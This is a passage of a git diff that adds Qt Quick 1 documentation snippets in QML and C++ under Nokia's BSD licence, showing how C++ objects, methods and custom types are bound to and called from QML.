+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import MyLibrary 1.0
+import QtQuick 1.0
+
+Item {
+
+//![0]
+ImageViewer {
+ onStatusChanged: {
+ if (status == ImageViewer.Ready)
+ console.log("Image viewer is ready!")
+ }
+}
+//![0]
+
+//![1]
+ImageViewer {
+ signal someOtherSignal(int statusValue)
+
+ Component.onCompleted: {
+ someOtherSignal(ImageViewer.Loading)
+ }
+}
+//![1]
+
+}
diff --git a/doc/src/snippets/qtquick1/qtbinding/functions-cpp/MyItem.qml b/doc/src/snippets/qtquick1/qtbinding/functions-cpp/MyItem.qml
new file mode 100644
index 0000000000..efad92ad38
--- /dev/null
+++ b/doc/src/snippets/qtquick1/qtbinding/functions-cpp/MyItem.qml
@@ -0,0 +1,55 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+// MyItem.qml
+import QtQuick 1.0
+
+Item {
+ width: 100; height: 100
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: {
+ myObject.cppMethod("Hello from QML")
+ myObject.cppSlot(12345)
+ }
+ }
+}
+//![0]
diff --git a/doc/src/snippets/qtquick1/qtbinding/functions-cpp/main.cpp b/doc/src/snippets/qtquick1/qtbinding/functions-cpp/main.cpp
new file mode 100644
index 0000000000..48db128993
--- /dev/null
+++ b/doc/src/snippets/qtquick1/qtbinding/functions-cpp/main.cpp
@@ -0,0 +1,59 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QtCore>
+#include <QtDeclarative>
+
+#include "myclass.h"
+
+//![0]
+int main(int argc, char *argv[]) {
+ QApplication app(argc, argv);
+
+ QDeclarativeView view;
+ MyClass myClass;
+ view.rootContext()->setContextProperty("myObject", &myClass);
+
+ view.setSource(QUrl::fromLocalFile("MyItem.qml"));
+ view.show();
+
+ return app.exec();
+}
+//![0]
+
diff --git a/doc/src/snippets/qtquick1/qtbinding/functions-cpp/myclass.h b/doc/src/snippets/qtquick1/qtbinding/functions-cpp/myclass.h
new file mode 100644
index 0000000000..e428b2d034
--- /dev/null
+++ b/doc/src/snippets/qtquick1/qtbinding/functions-cpp/myclass.h
@@ -0,0 +1,57 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QObject>
+#include <QDebug>
+
+//![0]
+class MyClass : public QObject
+{
+ Q_OBJECT
+public:
+ Q_INVOKABLE void cppMethod(const QString &msg) {
+ qDebug() << "Called the C++ method with" << msg;
+ }
+
+public slots:
+ void cppSlot(int number) {
+ qDebug() << "Called the C++ slot with" << number;
+ }
+};
+//![0]
diff --git a/doc/src/snippets/qtquick1/qtbinding/functions-qml/MyItem.qml b/doc/src/snippets/qtquick1/qtbinding/functions-qml/MyItem.qml
new file mode 100644
index 0000000000..8709332e9b
--- /dev/null
+++ b/doc/src/snippets/qtquick1/qtbinding/functions-qml/MyItem.qml
@@ -0,0 +1,50 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+// MyItem.qml
+import QtQuick 1.0
+
+Item {
+ function myQmlFunction(msg) {
+ console.log("Got message:", msg)
+ return "some return value"
+ }
+}
+//![0]
diff --git a/doc/src/snippets/qtquick1/qtbinding/functions-qml/main.cpp b/doc/src/snippets/qtquick1/qtbinding/functions-qml/main.cpp
new file mode 100644
index 0000000000..8f377ec646
--- /dev/null
+++ b/doc/src/snippets/qtquick1/qtbinding/functions-qml/main.cpp
@@ -0,0 +1,63 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QtCore>
+#include <QtDeclarative>
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+//![0]
+// main.cpp
+QDeclarativeEngine engine;
+QDeclarativeComponent component(&engine, "MyItem.qml");
+QObject *object = component.create();
+
+QVariant returnedValue;
+QVariant msg = "Hello from C++";
+QMetaObject::invokeMethod(object, "myQmlFunction",
+ Q_RETURN_ARG(QVariant, returnedValue),
+ Q_ARG(QVariant, msg));
+
+qDebug() << "QML function returned:" << returnedValue.toString();
+delete object;
+//![0]
+}
+
diff --git a/doc/src/snippets/qtquick1/qtbinding/loading/MyItem.qml b/doc/src/snippets/qtquick1/qtbinding/loading/MyItem.qml
new file mode 100644
index 0000000000..bbce1c11f3
--- /dev/null
+++ b/doc/src/snippets/qtquick1/qtbinding/loading/MyItem.qml
@@ -0,0 +1,56 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![start]
+import QtQuick 1.0
+
+Item {
+ width: 100; height: 100
+//![start]
+
+//![child]
+ Rectangle {
+ anchors.fill: parent
+ objectName: "rect"
+ }
+//![child]
+
+//![end]
+}
+//![end]
diff --git a/doc/src/snippets/qtquick1/qtbinding/loading/main.cpp b/doc/src/snippets/qtquick1/qtbinding/loading/main.cpp
new file mode 100644
index 0000000000..13947b0915
--- /dev/null
+++ b/doc/src/snippets/qtquick1/qtbinding/loading/main.cpp
@@ -0,0 +1,90 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QtCore>
+#include <QtDeclarative>
+
+static void withComponent()
+{
+//![QDeclarativeComponent-a]
+// Using QDeclarativeComponent
+QDeclarativeEngine engine;
+QDeclarativeComponent component(&engine,
+ QUrl::fromLocalFile("MyItem.qml"));
+QObject *object = component.create();
+//![QDeclarativeComponent-a]
+}
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+//![QDeclarativeView]
+// Using QDeclarativeView
+QDeclarativeView view;
+view.setSource(QUrl::fromLocalFile("MyItem.qml"));
+view.show();
+QObject *object = view.rootObject();
+//![QDeclarativeView]
+
+//![properties]
+object->setProperty("width", 500);
+QDeclarativeProperty(object, "width").write(500);
+//![properties]
+
+//![cast]
+QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(object);
+item->setWidth(500);
+//![cast]
+
+//![findChild]
+QObject *rect = object->findChild<QObject*>("rect");
+if (rect)
+ rect->setProperty("color", "red");
+//![findChild]
+
+//![QDeclarativeComponent-b]
+delete object;
+//![QDeclarativeComponent-b]
+
+withComponent();
+
+ return app.exec();
+}
+
diff --git a/doc/src/snippets/qtquick1/qtbinding/newelements/imageviewer.h b/doc/src/snippets/qtquick1/qtbinding/newelements/imageviewer.h
new file mode 100644
index 0000000000..d61c95530d
--- /dev/null
+++ b/doc/src/snippets/qtquick1/qtbinding/newelements/imageviewer.h
@@ -0,0 +1,56 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+#include <QtCore>
+#include <QtDeclarative>
+
+class ImageViewer : public QDeclarativeItem
+{
+ Q_OBJECT
+ Q_PROPERTY(QUrl image READ image WRITE setImage NOTIFY imageChanged)
+
+public:
+ void setImage(const QUrl &url);
+ QUrl image() const;
+
+signals:
+ void imageChanged();
+};
+//![0]
diff --git a/doc/src/snippets/qtquick1/qtbinding/newelements/main.cpp b/doc/src/snippets/qtquick1/qtbinding/newelements/main.cpp
new file mode 100644
index 0000000000..fbe8beceb9
--- /dev/null
+++ b/doc/src/snippets/qtquick1/qtbinding/newelements/main.cpp
@@ -0,0 +1,62 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QtCore>
+#include <QtDeclarative>
+
+#include "imageviewer.h"
+
+void ImageViewer::setImage(const QUrl &url) {}
+QUrl ImageViewer::image() const { return QUrl(); }
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ //![register]
+ qmlRegisterType<ImageViewer>("MyLibrary", 1, 0, "ImageViewer");
+ //![register]
+
+ QDeclarativeView view;
+ view.setSource(QUrl::fromLocalFile("standalone.qml"));
+ view.show();
+
+ return app.exec();
+}
+
diff --git a/doc/src/snippets/qtquick1/qtbinding/newelements/standalone.qml b/doc/src/snippets/qtquick1/qtbinding/newelements/standalone.qml
new file mode 100644
index 0000000000..e800ef4438
--- /dev/null
+++ b/doc/src/snippets/qtquick1/qtbinding/newelements/standalone.qml
@@ -0,0 +1,44 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import MyLibrary 1.0
+
+ImageViewer { image: "smile.png" }
+//![0]
diff --git a/doc/src/snippets/qtquick1/qtbinding/properties-cpp/MyItem.qml b/doc/src/snippets/qtquick1/qtbinding/properties-cpp/MyItem.qml
new file mode 100644
index 0000000000..36f23dc94d
--- /dev/null
+++ b/doc/src/snippets/qtquick1/qtbinding/properties-cpp/MyItem.qml
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
